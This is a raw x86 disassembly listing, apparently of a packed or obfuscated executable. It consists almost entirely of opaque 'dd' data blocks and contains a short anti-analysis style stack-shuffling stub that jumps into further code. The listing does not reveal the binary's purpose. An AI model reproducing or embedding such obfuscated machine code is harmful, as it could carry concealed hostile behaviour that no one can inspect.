		dd 3A9CACB8h, 166DB210h, 0FE92EC35h, 2E4F8A3Ah,	0CCE9FDh
		dd 0D9250000h, 9CD70B09h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh
		dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h
		dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h
		dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h,	0B4F94E00h
		dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h
		dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh
		dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h,	0E3B29EBDh
		dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h
		dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0
		dd 9D744700h, 99E0E312h, 5Eh, 4	dup(0)
		dd 3BE90000h, 68000015h, 632283Eh, 0F9592FE9h, 292E68FFh
		dd 25E90632h, 68FFF959h, 6322A16h, 0F9591BE9h, 2B9A68FFh
		dd 11E90632h, 68FFF959h, 6322C21h, 0F95907E9h, 2D0B68FFh
		dd 0FDE90632h, 68FFF958h, 6322DD9h, 0F958F3E9h,	2E7A68FFh
		dd 0E9E90632h, 68FFF958h, 6322F5Dh, 0F958DFE9h,	30D168FFh
		dd 0D5E90632h, 68FFF958h, 632318Ch, 0F958CBE9h,	32E668FFh
		dd 0C1E90632h, 68FFF958h, 63233D3h, 0F958B7E9h,	353668FFh
		dd 0ADE90632h, 68FFF958h, 6323684h, 0F958A3E9h,	386368FFh
		dd 99E90632h, 68FFF958h, 6323969h, 0F9588FE9h, 91B3A8FFh
		dd 6167FA15h, 30164AA5h, 0FCD89BF4h, 4973E700h,	0E471204Dh
		dd 334C4872h, 829D192Bh, 0D02FEBDDh, 0A07AB690h, 0E7F37D8Bh
		dd 828692D9h, 0E1C781AEh, 9BBDB70Ah, 929EEE1Fh,	0F25DF9CFh
		dd 0C6DE53E6h, 1E435E8Ah, 70B9C12Ah, 0F35EADADh, 11FADC94h
		dd 62F08009h, 286D3F3Eh, 5D093509h, 1776BDBh, 2Eh, 0D21F6FCDh
		dd 5B011685h, 0C19554C3h, 363B49C8h, 498AC686h,	48D6FAD1h
		dd 26D3E96h, 87E30FF3h,	3F776C2Fh, 0BFh, 0DEEE7510h, 0C781AB2Fh
		dd 8E0B76E1h, 6C14D46Eh, 0F4CA8EE9h, 0F3820B17h, 2B1D415Ch
		dd 81BB9FE2h, 889DD72Ah, 0EB94F27Ch, 7F9B8794h,	311751ACh
		dd 5CC4FBA6h, 4063D9A2h, 70B9549h, 0A294EB44h, 2C1047A2h
		dd 0EB2743DFh, 19F2D48Ch, 654DC2Ch, 0F453EF3Ch,	0E9715A7Ch
		dd 0EBF6024Dh, 8A8AC67Fh, 0A1111894h, 18F3D58Fh, 6F7DEA06h
		dd 730C7F4Eh, 0F3AE3921h, 3E59556Fh, 0C9C2618h,	0E35059ECh
		dd 12D81930h, 9EBF0000h, 4A116EAAh, 0FB61BE7Ah,	0B7AEC9C5h
		dd 64FA1591h, 645BA662h, 0A15D67FBh, 0F6321446h, 0FCC099h
		dd 4F4B6DE7h, 0D8527E8Dh, 0AD92D9E8h, 0D98193B7h, 94CC2BE7h
		dd 6F6276B2h, 7785D21Fh, 8AC6EA72h, 12BE0D0Dh, 6D3F2A84h
		dd 275337CEh, 776BC44Bh, 0ECF3h, 0E8295400h, 8D767AF8h
		dd 71A026E7h, 50161202h, 3BF2BE2Bh, 614A6CE4h, 1415BFEAh
		dd 384B1A6Dh, 8811D27h,	0F05F61F9h, 10FBCD95h, 0A39D2F3Dh
		dd 6EF094EBh, 8448DBD2h, 94EBB88Ch, 0B8325EEDh,	0CD94EB9Eh
		dd 3455C4Dh, 0D68EE925h, 362867F0h, 6AA3BF0Ch, 155AAA9Bh
		dd 0BB93BECAh, 9FC28AC6h, 0A96581BBh, 7EE050A0h, 0BFDB6744h
		dd 468A0410h, 44D3730Ch, 4C45B638h, 39035767h, 0F36F4CD2h
		dd 30247B3Ah, 2665F20Eh, 75920E30h, 0E1A9DBEDh,	0A2505A25h
		dd 11E8DE71h, 0AEAF0000h, 5A011E9Ah, 0B51AE6Ah,	0A79EF935h
		dd 74EA0581h, 742B5652h, 514D77EBh, 0E6222436h,	30ECD089h
		dd 7FBB9DD7h, 0C8628E9Dh, 0BD92D9E9h, 0D981A387h, 7CD41634h
		dd 0DCF5AFFFh, 290A75D0h, 0B87490BCh, 5771F0AFh, 0DC23EA74h
		dd 0D9464264h, 6BA2A4BAh, 22C7816Fh, 9EA00B3Dh,	1252A902h
		dd 206FF834h, 20064648h, 2978B16Dh, 63BE0D33h, 5CCBC7E1h
		dd 0E32A1A41h, 0DFBA9553h, 0D76B4064h, 98D525D6h, 0E9A4214Fh
		dd 0B7AB8AC6h, 0B6AEED78h, 0EA771990h, 0F765B0BEh, 0EFFD6A87h
		dd 888DDFC2h, 7722ADADh, 0B618A02Ah, 87B99C0Bh,	0FFE1A24h
		dd 0A17FCF7Ch, 35B348AFh, 25B2CE04h, 6266FB96h,	9838F189h
		dd 76C5E47Fh, 44438C92h, 0DEBD2A0Ch, 0DB67447Ah, 0A4E36CD2h
		dd 10089B3h, 61D36147h,	0CE4E1076h, 11004A1Dh, 0C6970000h
		dd 72E90682h, 23395652h, 0CF86E11Dh, 8CD22DE9h,	4C337EBAh
		dd 79B58FD3h, 8E0A3C1Eh, 0D8D4E871h, 67A385BFh,	0E08A96B5h
		dd 9592D9EAh, 0C781BB9Fh, 0C024C6D2h, 25994EBh,	0ACC86442h
		dd 0E6889423h, 9B94EBC0h, 0D8770687h, 1892BE4Dh, 6D94EBC0h
		dd 0C049E3EDh, 223C94EBh, 0E32A0245h, 62ED0272h, 0C6D9BB56h
		dd 6977DA8Ah, 6D3F39C7h, 0CEF267BAh, 939A16B2h,	7381CE23h
		dd 7312125Eh, 4E8269F1h, 674223A0h, 183E5DEAh, 0C811EAF5h
		dd 95311244h, 78E12836h, 9BC3DE84h, 0B58BCEA9h,	0D195574h
		dd 0D8B77140h, 0D6684385h, 0FFF17B89h, 9A846742h, 3A8613h
		dd 6F400000h, 685D21Fh,	95BC6D53h, 0C6925A87h, 64FA998Ah
		dd 38F18962h, 1F7AE575h, 1C8A063Ah, 6D3F718Ch, 0E90EFB7Dh
		dd 0A2A6BB65h, 85A6ECD5h, 0D52AD69h, 0F79D03Bh,	59000010h
		dd 85D21F6Fh, 0D35D6BF6h, 0A694EBC0h, 565F71B8h, 798ADDFAh
		dd 1A24C6D2h, 0C1596D26h, 0F0AF3AA5h, 2877546Eh, 35F41032h
		dd 504C6AEAh, 0B01B3D37h, 913E3383h, 1A74F602h,	11096D26h
		dd 6F6B7998h, 0E6731021h, 0A14FC9ABh, 0DC78A9A7h, 2D360473h
		dd 0E4B077Ch, 0B6E5709Fh, 9F8A29B8h, 0E7613E35h, 5554EAC1h
		dd 0A32C0A4Ah, 0D58B72E4h, 0E85657F3h, 18F3D58Fh, 0C2045635h
		dd 0A75851E9h, 0BFCD1A57h, 795DABF2h, 4FF77D1Dh, 0E8569178h
		dd 0F7C103Bh, 421B0000h, 0F66D8A06h, 0A7BDDAD6h, 4B0A65A1h
		dd 56B16Dh, 0C0B7C23Eh,	0FD390357h, 128EB8A2h, 5C586CF5h
		dd 0EB270143h, 7C0E1A31h, 1192D9EBh, 62F03F13h,	6394EBC0h
		dd 3D0A2C24h, 847F8003h, 0EF0089A0h, 7605529Fh,	2533441Bh
		dd 94EB9C8Bh, 0C5C460FEh, 0DDA677CBh, 10538E8Ah, 504F9834h
		dd 9DFA3610h, 232EFDDBh, 0DDCCF664h, 4897DC2Ch,	8EFDD3Ch
		dd 0B4ADF073h, 9C380C53h, 7C56F200h, 4E9D505Eh,	0EF507h
		dd 89BBA000h, 596FF20Dh, 281E425Dh, 0F4D093ECh,	417BDF38h
		dd 0DC793845h, 2B44407Ah, 7A951133h, 0C827E3E5h, 0A872AE88h
		dd 0ECFB7583h, 8A8E92D9h, 0AF0271B6h, 5713CD0Ch, 0EB85933Ch
		dd 9E94EBCEh, 7EF60980h, 54600F58h, 94EBCEDAh, 0A11A2E33h
		dd 0CECC7E8Ah, 998194EBh, 0A2F98C7Dh, 3C5B84A2h, 4B7DE104h
		dd 6942DE60h, 2C45D8D1h, 0E783AF93h, 9F7D96EBh,	915h, 11F6F3Bh
		dd 0DA745136h, 70DF7B3Bh, 1E794F15h, 8B860739h,	0DDDDB67Dh
		dd 0C096C58Ah, 0C823253Dh, 0A9B11AB6h, 54B789CEh, 6221AECAh
		dd 0EC9BC4E2h, 77BD79C7h, 0D187E01Ah, 27403EEFh, 31DC0B2Dh
		dd 25168923h, 0AB62FC6Dh, 0FB0675D8h, 2F075142h, 0D17F1198h
		dd 0CE6D25E6h, 0DAE6717Eh, 7308FF3Fh, 71530B56h, 0DA68849Ah
		dd 505E8C78h, 0B1138EBh, 8A00000Eh, 0DC3BF7D1h,	2C4B4779h
		dd 7D9A1628h, 0C926E2FAh, 673AF91h, 0AE90C653h,	7F491572h
		dd 0C9F36483h, 94B2B2CDh, 9FAD4218h, 92D9EDEDh,	81CCE460h
		dd 0B70AE1C7h, 37309BBDh, 0E28CBA8Eh, 9A7D96DDh, 85Dh
		dd 0BB8DD0CFh, 0BBDFCE50h, 0AB4E1271h, 4B6FA4DFh, 2BB4D06Eh
		dd 0EB56931Dh, 0B178E694h, 0EB56711Fh, 0D11E6E94h, 43EDFB86h
		dd 0BA94EB56h, 0EE031429h, 8A946742h, 4BE00C03h, 68ADD80h
		dd 9520CF18h, 2594E587h, 0A986986Dh, 233F8CB0h,	0FBDD97EAh
		dd 7785103Fh, 6D2594F5h, 807B5D14h, 50106F9Eh, 94B53745h
		dd 65C86D25h, 2594D557h, 1AB6A86Dh, 0D0202DFEh,	0E92834A3h
		dd 0E473088Dh, 5E74C87Ah, 4093505Eh, 0D3D09h, 0C1035800h
		dd 91B7AAC5h, 6066FA15h, 2C084BA4h, 0F9C397F0h,	9401F03Dh
		dd 0E33CF8C2h, 324D497Bh, 809F1B2Dh, 702AE6C0h,	0ED23CDDBh
		dd 0D25692D9h, 0E1C781FEh, 1748470Ah, 0A3A5FC2Dh, 0A6012685h
		dd 0B54BCDFBh, 15940CFBh, 80EA18ECh, 5E7D9724h,	0C02B1D43h
		dd 7ABA4FBEh, 24000007h, 85D21F6Fh, 0DDFACD77h,	51FE608Ah
		dd 0B976FB22h, 266E01ABh, 9DEA746Dh, 0C8C11D58h, 2C0A4A49h
		dd 0FBDD97F0h, 992EBC10h, 0C1316D26h, 0F41523ACh, 1B730B80h
		dd 5CAF91C4h, 0D21CA6C2h, 0DD505F57h, 0C9C470Eh
		dd 62FB0000h, 164DAA66h, 0C79DFA36h, 6BEA0581h,	2036514Dh
		dd 0A097E21Eh, 9D192337h, 32EED882h, 7CB88CD5h,	8B072123h
		dd 9C2E3AD1h, 0F192D9EEh, 0C7815F73h, 0BDB70AE1h, 0EBC00258h
		dd 10FBDD94h, 7556F20Eh, 2F3D3026h, 94EBC09Dh, 0F9D26EF0h
		dd 0C0A44652h, 41D994EBh, 63486EE6h, 3AAD91AAh,	1C4A3E87h
		dd 7D96DD52h, 0A59D0570h, 0F5045CFDh, 6BF6734h,	71630000h
		dd 0B37A4C12h, 0EBC0901Dh, 490C8B94h, 0ABB99477h, 94EBC001h
		dd 5F4EEA74h, 0C6115EAEh, 0DDFA27BAh, 77E07E8Ah, 827E5818h
		dd 0E6C5E365h, 3EB0DC6Bh, 3F6D261Ah, 261A9F11h,	8F6CF26Dh
		dd 99E91A93h, 0D17C0B54h, 261A29C3h, 97115C6Dh,	0DB75BB15h
		dd 850B821Eh, 730B51D8h, 3C21206Fh, 978F0E3Fh, 4987C97Bh
		dd 6FBC505Fh, 0BB9E4h, 457FDC00h, 152B2E49h, 0E4DA7E99h
		dd 0B094CF28h, 7D471B74h, 18857481h, 67807C46h,	0B6D1CDF7h
		dd 4639FA1h, 0ECAE6A4Ch, 0EFBF315Fh, 56D292D9h,	4F127172h
		dd 261E79h, 0D8FE7689h,	92B4ACF3h, 2463EE39h, 0B696CD30h
		dd 0F46AB11Ah, 0CE77B6D2h, 9ABCB4FAh, 0D9ED791Eh, 5D917D96h
		dd 0B6000001h, 494084DBh, 0E1C7814Dh, 7C581B76h, 3453FE8Dh
		dd 92ED1C26h, 3138F4D2h, 1523ACC1h, 8AC6DE8Ch, 7A4C108Fh
		dd 9D008991h, 203752FDh, 0B21EED1Ch, 6D3F3E24h,	9FC2C16Eh
		dd 3EFC8E9Ah, 89916D3Fh, 0BF83BC6Dh, 0A5A66C1Bh, 9974B45Ch
		dd 0E9FD6910h, 55A1776Ah, 2D000000h, 85D21F6Fh,	0D35D6BF6h
		dd 0CA94EBC0h, 0EBC00CBEh, 0E2D94194h, 0EE038D7Ch, 618AC6EAh
		dd 290CBECAh, 0D9416D3Fh, 0B4E36EBDh, 0FA75853Fh, 2EA26B51h
		dd 6D3F4B80h, 2B572BCAh, 776B653Fh, 0B5E7h, 0CFDD6800h
		dd 6D3F473Dh, 479E103Ch, 6FF36D3Fh, 7F1B928Ch, 3F22C781h
		dd 9CA209h, 380254ABh, 0C3D17CD3h, 94EBC029h, 0B4CBC25Ch
		dd 1A319ABCh, 8E3C57Fh,	0C0B53745h, 56C894EBh, 0B4ACF33Ah
		dd 0F0881692h, 0E194EBF4h, 188BEA2h, 0A46046FEh, 0CF1855A5h
		dd 0CFF96520h, 0D746B2DEh, 0F36F7526h, 0F312964h, 2C47D5C0h
		dd 7739DE03h, 0ABAFC8B6h, 0A1F76391h, 0BD84A2Fh, 0A4540h
		dd 390B5000h, 89BFA2FDh, 586EF20Dh, 2400435Ch, 0F1CB8FE8h
		dd 8C09C835h, 0DB34F0CAh, 2A454183h, 78971335h,	7822DEF8h
		dd 0F02BC5D3h, 0DA5E92D9h, 0E7D98106h, 0B294CC2Bh, 0C7816276h
		dd 0BDB70AE1h, 96F41F9Bh, 0E2000004h, 85D21F6Fh, 0C68E4677h
		dd 0AA01198Ah, 3F0E9826h, 5F23D26Dh, 6BA83733h,	20EEF77h
		dd 71EB0000h, 0C054D6E2h, 312994EBh, 0C053D8F8h, 574294EBh
		dd 53A99F99h, 0EF73CCBAh, 0A168F6D5h, 0A43340B0h, 0DD3C0B98h
		dd 6FF8668Ah, 17253030h, 6D256095h, 0DEDA76E8h,	4AA187C1h
		dd 1B44A919h, 25E4DE7Ch, 605F1E2Ah, 68F67308h, 5E0CAADAh
		dd 0E36AB950h, 98Ah, 0B874500Dh, 0C8C4F85Fh, 1B97A9AFh
		dd 0A76345FCh, 0F02C1648h, 1149D285h, 0C694F32Fh, 72E700FCh
		dd 3335524Eh, 2CC39915h, 0D9F16E00h, 4D65E392h,	0AE1C781h
		dd 0F848BDB7h, 9442D681h, 8510BFDBh, 0EB6CF577h, 17968894h
		dd 3C003584h, 0DCD8FE76h, 9785AFBBh, 15E577Dh, 81730000h
		dd 0B70AE1C7h, 0F01F9BBDh, 9DFAD295h, 160786C6h, 0EDCB8AA6h
		dd 7BE4001Eh, 0C6DED46Dh, 54B7AB8Ah, 86C09AF9h,	0FC941525h
		dd 6D3F3E6Eh, 0FD291D24h, 776BDB71h, 4915h, 1F6FB100h
		dd 8BF685D2h, 1296E8B8h, 0AE22EB4Dh, 8AC66B9Bh,	6CFB64FAh
		dd 3EAAAE40h, 0E0BFA36Dh, 0D5654660h, 0FD8B41D4h, 0B76D3EAAh
		dd 6064FD98h, 0D36F78Bh, 43610D39h, 0D205776Ch,	4A000000h
		dd 0D437094Fh, 52EECE89h, 0C7813F5Bh, 431B76E1h, 0A6F58801h
		dd 42418EB0h, 0BEC02B1Dh, 0E761BC4Fh, 2867EAC1h, 86991032h
		dd 23CDDBCEh, 5694EBC0h, 9423ACC8h, 0EBC0E688h,	6879B94h
		dd 0ADBA4E58h, 0C8B794EBh, 0F9B713D9h, 0A1BD9A4Eh, 0F33A44A7h
		dd 1692B4ACh, 1D4AA717h, 0F6AEDC6Eh, 60A91988h,	0EB57C3D1h
		dd 337E7526h, 4D663228h, 0C59BF4DDh, 9DF86783h,	0E80783C5h
		dd 0D0264C76h, 8B4A2F03h, 830F158h, 0F6670000h,	0A2B9D6D2h
		dd 530966A2h, 1F56B16Dh, 0BCA2FD39h, 3CE30E8Ah,	985BFA3h
		dd 5E5A6CEEh, 0E8241841h, 37F3D58Fh, 30BAC665h,	4592D9F2h
		dd 0D981EBCFh, 5EED78E7h, 0EBC0B832h, 834DCD94h, 94EBC0E9h
		dd 570B829Ch, 0E21E3838h, 0E1C781FEh, 9BBDB70Ah, 3709514Ch
		dd 6A1B08F6h, 0FF000002h, 85D21F6Fh, 0DDFA0277h, 0EE3D5D8Ah
		dd 261A54E2h, 23E71E6Dh, 64B37BF7h, 2362377h, 0F0AF0000h
		dd 94EBC07Bh, 3251F7Ah,	0C429998Ah, 7812EC9Bh, 0EE509030h
		dd 2468FE52h, 34F5118Eh, 0CDB20F1Dh, 0D2B18ADDh, 0CE50BB8Dh
		dd 5D015CDFh, 62FE806Bh, 0F8DE96F5h, 0FD74133Ch, 3CB96CDBh
		dd 0A21A5197h, 7A5C146Bh, 2DCFBA91h, 0D092E502h, 0A9190A83h
		dd 500D1B44h, 8B7308C5h, 0C45ED0FCh, 2F336748h,	91233FFEh
		dd 505EA787h, 4394BF6Ch, 52000007h, 0A4C33F09h,	0F4138FB1h
		dd 45A25E60h, 91EE2A02h, 0CE3BF7C9h, 0F6C88E0Bh, 4781DD3Ah
		dd 112B2C4Bh, 0DCFA7A95h, 0C7D57A20h, 92D9F325h, 8104DC58h
		dd 0B70AE1C7h, 0A9D848BDh, 6502FCB6h, 0BC93E2C9h, 0F94666E1h
		dd 0BD3EBD54h, 0BCA564DFh, 8762E2C8h, 7F03E8CCh, 0B6B027E3h
		dd 147D9774h, 2BE2E279h, 15F5Eh, 0C7817800h, 0C024C6D2h
		dd 0C15994EBh, 8C0B46A5h, 0EB36F7C9h, 85004F69h, 7D1DEEDEh
		dd 0E757D68Ch, 0D3CE5D8Ah, 0BDA1698Eh, 9EA3FDA9h, 1891A902h
		dd 0C686E178h, 8391BC8Ah, 6D3E96E9h, 8566829Ch,	3E96B947h
		dd 7E42F36Dh, 6C341650h, 45CE77h, 4830000h, 1AA06953h
		dd 794F1271h, 0C22F9FB0h, 0EA628795h, 7D1D8AC6h, 2A9422AEh
		dd 31DE6D3Fh, 2A1496A2h, 22696D3Fh, 0BBBBF4A1h,	0CD3C5860h
		dd 0CFCA7054h, 0C555B68Ah, 0D8D1F76Ah, 6B6DB5B1h, 0AB6977h
		dd 81750000h, 470AE1C7h, 0C002ACB8h, 74EB94EBh,	36F76B50h
		dd 0CA8E77EBh, 0DC7358F4h, 0F07798C1h, 40ADEF8h, 0EB36F713h
		dd 85004F69h, 7806E5C3h, 0A59FE2B1h, 21990783h,	0E094ECF9h
		dd 0C34A4660h, 42D17E73h, 0DF2C1047h, 4C76E443h, 0A62AE37Fh
		dd 8AD9467Ah, 3D58879Bh, 88E72325h, 4446ECD6h, 0D74A2F23h
		dd 5E04D04h, 0A6B70000h, 520966A2h, 359B672h, 0AFA6C13Dh
		dd 6CF20D89h, 6C535E5Ah, 59556FF3h, 0EE2A1C3Eh,	38F4C891h
		dd 474365DFh, 0C06A7695h, 0B592D9F5h, 0D9819BBFh, 913C2BE7h
		dd 0EBC0E983h, 0B829C94h, 5E5A7CF4h, 0E1C7813Ah, 7C581B76h
		dd 830A3E23h, 8DABADF0h, 0E9B0611h, 0DC2F3492h,	163CD7D6h
		dd 1A000000h, 0AE1C781h, 309BBDB7h, 0C8DEA25Bh,	0E172AE88h
		dd 33h,	0E1C781D1h, 7C581B76h, 8B1A93AFh, 0EBC0B445h, 0B488C194h
		dd 7C30830Eh, 0F75C664Eh, 8C69EB36h, 0A14F7C9h,	9636AC3Dh
		dd 0F30F5FEEh, 0F56D2837h, 71BCDAD3h, 907B4D12h, 0CA4CA18Eh
		dd 0E0CA7106h, 7B9ED629h, 6A41DDE7h, 495789F9h,	94EBC5A7h
		dd 0BF2844DAh, 69777EE0h, 94EBC5C7h, 0A308A4BAh, 0F4BB1E4Ch
		dd 9531F20Ch, 336EFD14h, 0E090192Bh, 8ADDF7B5h,	7A1946D8h
		dd 0C720DCFAh, 1340AB8Dh, 72014EA3h, 0DEA85D17h, 8D476448h
		dd 454B42DEh, 73108C05h, 95172508h, 0E8677092h,	0FE8DDA76h
		dd 310D59B3h, 0BA7348EAh, 0CFCBED67h, 97A5B0B0h, 6770F815h
		dd 715AF668h, 0D07F74C4h, 5DDCD5C4h, 74E99479h,	6CA17E04h
		dd 64FAB970h
		dd 9147D6DEh, 0CF865556h, 492h,	0B06C5805h, 0C03C0057h
		dd 138FB1A7h, 5F5B7DF4h, 0E8241E40h, 1941DA9Dh,	0CE8CEB27h
		dd 7ADF38F4h, 2B2D4A46h, 24CB910Dh, 0D9F69618h,	556DEB92h
		dd 25E1C781h, 5FAC8ACAh, 85664000h, 693D013Ah, 0CACDC9EFh
		dd 7D96D9A0h, 5D44h, 0CA8E0D00h, 6F9135F4h, 7785D21Fh
		dd 8AC6924Ah, 5CEEFA89h, 316D3F71h, 510493FAh, 0B2CE565Dh
		dd 6CBF89D5h, 0C658DBD2h, 5065FA99h, 3FEFAA44h,	2743DF6Dh
		dd 4084DDB8h, 7F0B9549h, 8A6D3FEFh, 0D730ECCAh,	0FE6DBE82h
		dd 2685BFA3h, 0F37A9118h, 0D7000003h, 0EFB23C48h, 5BC76D3Fh
		dd 0C7813452h, 0BDB70AE1h, 93A14C9Bh, 94EBC019h, 473BF26Ch
		dd 0A0BA76C6h, 5A3545A6h, 38A7C305h, 0C6DE952Ch, 9576E88Ah
		dd 3F3EA937h, 0C305586Dh, 0FAD295E8h, 0C47D11h,	0B88CB569h
		dd 6BDBE08Ah, 518477h, 6F460000h, 7785D21Fh, 8AC6EA72h
		dd 12BE0D0Dh, 6D3F2A84h, 0DDEEE75h, 0F51277BEh,	84E3E752h
		dd 1202E9D3h, 4C5017EBh, 9E2DD1B5h, 3FDEF872h, 92BE8D6Dh
		dd 6D3FDE18h, 5851ED6Dh, 6AF83531h, 7CF49377h, 2883C599h
		dd 911FA16h, 0DA0B80h, 81D70000h, 0B70AE1C7h, 434E99A3h
		dd 0BE00624Ah, 0C75657B5h, 0DDEF878h, 4790B6AEh, 0DD2E0848h
		dd 8964CBDh, 94EB1200h,	0A6B2A7A1h, 94EB0404h, 4945E179h
		dd 8B2533DEh, 6294EB04h, 0BBF6C5E3h, 20BCFAC6h,	0E651ED40h
		dd 0BAEE2FE4h, 374A43CFh, 9DB01B3Dh, 0A86147FEh, 0D3F947B7h
		dd 24B2BF06h, 0A9203CB0h, 772EE6DEh, 59608CDBh,	348AC69Ah
		dd 365272E9h, 0EE0373FAh, 0E2A15361h, 99C4730Dh, 122CFFC1h
		dd 342A69F6h, 2A36C512h, 674CE280h, 0FEA465F5h,	7D87B9A1h
		dd 505A8941h, 0B31639EAh, 0E2000002h, 34534F79h, 84E31F21h
		dd 0D532EED0h, 217EBA92h, 7E8B0739h, 6381EBBh, 0D7F16D8Ah
		dd 0A19BBCDBh, 6C4A0A65h, 3745EAB0h, 92D9F8B5h,	81744CC8h
		dd 0CC2BE7D9h, 6276B294h, 85D21F6Fh, 0C6EA7277h, 0BE0D0D8Ah
		dd 3F2A8412h, 5337CE6Dh, 7AF400AFh, 0F6D3F2Ah, 73FF9A13h
		dd 2B776BC3h, 107h, 80271B7h, 0E3E742A4h, 0E868B776h, 5F0281CEh
		dd 0DFC8269h, 53F237Eh,	0A385BFDAh, 24F73648h, 0EB0660A8h
		dd 5662F194h, 94EB18D4h, 86B162A9h, 0C2CF394Bh,	581867A6h
		dd 478D3F4Dh, 5EC094EBh, 31631911h, 8B271096h, 5670F00Fh
		dd 7B78C875h, 0B93341ECh, 0CC94EB08h, 0A8B45B52h, 8AC64491h
		dd 0B7B672ECh, 0D563F947h, 0D15A4C2Fh, 0AA7F2AB5h, 7850A881h
		dd 2735DCCDh, 730C601Eh, 4F413A71h, 0C77C770Bh,	0F410AC90h
		dd 102A2C6Bh, 9C99D8C7h, 36C14DD7h, 6AEC0BF7h, 29FE2250h
		dd 8655505Ah, 1ADCFh, 5173E800h, 21273A55h, 0F0D68AE5h
		dd 0BC98DB34h, 9332740h, 24B1608Dh, 738C0832h, 0C2DDD9EBh
		dd 106FAB9Dh, 0E0BA7650h, 0F9B33D4Bh, 42C692D9h, 0E7D9816Eh
		dd 7D5B1D78h, 0BA49D68Ch, 0EBC01CAEh, 4D6BED94h, 3BB5C36Eh
		dd 4E94EBC0h, 2A75B4D0h, 0DCBDF2Ah, 0DEE16083h,	0EB5338B2h
		dd 0B1CD4D94h, 81059915h, 83E22C7h, 0C8D463ECh,	94EBC026h
		dd 4EAD97C7h, 0F74AD9D0h, 0B05F5B7Dh, 0C0951725h, 76E894EBh
		dd 0CEE868B7h, 0F30070FDh, 8DC15864h, 42DC8AC6h, 0C286BF69h
		dd 565274ECh, 2B3967D7h, 6D3F0D81h, 8CB0A9F4h, 0C8BD470h
		dd 96B9704Ah, 1213778Ah, 0BB100E73h, 0E444E994h, 2E89BF0Eh
		dd 86A0A0FFh, 0F3D76025h, 438CE151h, 6F9D2C35h,	23DF4379h
		dd 41AA8CC4h, 886365FAh, 0DA16598h, 0A7E26D4Bh,	340E4CB1h
		dd 0BCAD1198h, 8A73E44Ch, 31FECCAh, 0BFB904E7h,	902C3299h
		dd 44DDEB74h, 5B67B8CCh, 0DF99E4C7h, 0FB6212F9h, 0F0FD4D07h
		dd 83C05967h, 43DF6D95h, 7976C647h, 2082C2EEh, 548B6BFAh
		dd 48A33F01h, 595573F5h, 0B720063Eh, 6DBE98D8h,	249DCCDh
		dd 0B0DCD187h, 4E1E753Eh, 58B3CF53h, 49C9C7C6h,	0D85B2288h
		dd 136EBD87h, 0FC96754Fh, 27EE8145h, 0FC743A0Eh, 0BC4E5AE9h
		dd 0D1595212h, 12ED9F49h, 0FE605952h, 0F49A662h, 0C47FC229h
		dd 0ADE877E0h, 25C791B7h, 58595212h, 4434C7C6h,	0BFB9EDD1h
		dd 0D534E99h, 30CF23Bh,	22EBCD84h, 684365DFh, 11E1h, 271D100h
		dd 92C77E8Dh, 723D5DAEh, 65A44A8Dh, 0DC81E1C5h,	84BC03E8h
		dd 6DF249A2h, 312D705Bh, 0F169B417h, 0B9A1FCCFh, 9ED92487h
		dd 4A0E6DBEh, 15489774h, 5708D833h, 0C781E789h,	4, 8704EF83h
		dd 895C243Ch, 4832424h,	89570424h, 4C781E7h, 83000000h
		dd 3C8704EFh, 14895C24h, 5E056824h, 3C890000h, 75BB5324h
		dd 0BA3DBC02h, 0C87624B4h, 1C8BDA01h, 4C48324h,	4EC81h
		dd 24890000h, 24048324h, 0EC815F04h, 4,	8F241489h, 3C8B0847h
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	edx
		add	esp, 4
		jmp	loc_544660
; ---------------------------------------------------------------------------
		db 0FEh, 0B8h, 3Bh
		dd 306323Bh, 44E0FFC5h,	0CC4C67CDh, 0FF334749h,	7C6CD5E2h
		dd 0CB121AAAh, 0E87829E6h, 9, 30A825C8h, 2504E08Ch, 0DEA9BEACh
		dd 0B55B6F9Eh, 8AC381E8h, 0F5000071h, 68h, 0D6806000h
		dd 6187B005h, 0F7B70F58h, 60033C8Bh, 5E9h, 532CB600h, 0F480E676h
		dd 0F78161A7h, 44972704h, 0CE9h, 408BE300h, 0DDAA044Fh
		dd 0B9A40EA9h, 0BBF7816Dh, 0E8456F7Eh, 5, 18F69FC9h, 0EF815EF3h
		dd 525D2CA6h, 6E8h, 71DE9F00h, 0E9154343h, 0Ah,	534A5FAh
		dd 0DDE8E080h, 575A4C6Fh, 0F03048Fh, 8B66F7BFh,	8AE881CBh
		dd 0E90ABBC8h, 0Dh, 919A12F9h, 978E7C94h, 0CB4D0D96h, 86C08163h
		dd 660ABBC8h, 81A817BEh, 0FF8F74F8h, 23850FFFh,	0E9000000h
		dd 10h,	161D8B3Eh, 94D460E5h, 6EB782B1h, 0B742AE4Dh, 2DE9h
		dd 6D471400h, 58973099h, 9E928F5h, 4B000000h, 542FE4FBh
		dd 1E1D438Bh, 0FFFF37E9h, 67C11DFFh, 0A476D105h, 2088AA21h
		dd 0F3AE8CB6h, 5FE92FDAh, 52000001h, 0E860D48Bh, 0
		dd 0ECED815Dh, 8B06323Ch, 453D0842h, 0F782638h,	13885h
		dd 0C428B00h, 0D3184A8Bh, 7277BBC8h, 0C333144Dh, 8904E883h
		dd 2B0EE185h, 4588B06h,	428BF88Bh, 184A8B10h, 0D2BEC8D3h
		dd 33DCC2FEh, 83C72BC6h, 0E883FCE0h, 0E1858904h, 8B062B21h
		dd 85891442h, 62B2BE5h,	5318428Bh, 0B0E9h, 25B5FF00h, 0E9062B05h
		dd 0B9h, 0D25B5FFh, 0AEE9062Bh,	0FF000000h, 2B0A91B5h
		dd 0A3E906h, 0B5FF0000h, 62B07A1h, 98E9h, 65B5FF00h, 0E9062B01h
		dd 8Dh,	0DFDB5FFh, 82E9062Bh, 0FF000000h, 2B1A95B5h, 77E906h
		dd 0B5FF0000h, 62B24D5h, 6CE9h,	19B5FF00h, 0E9062B12h
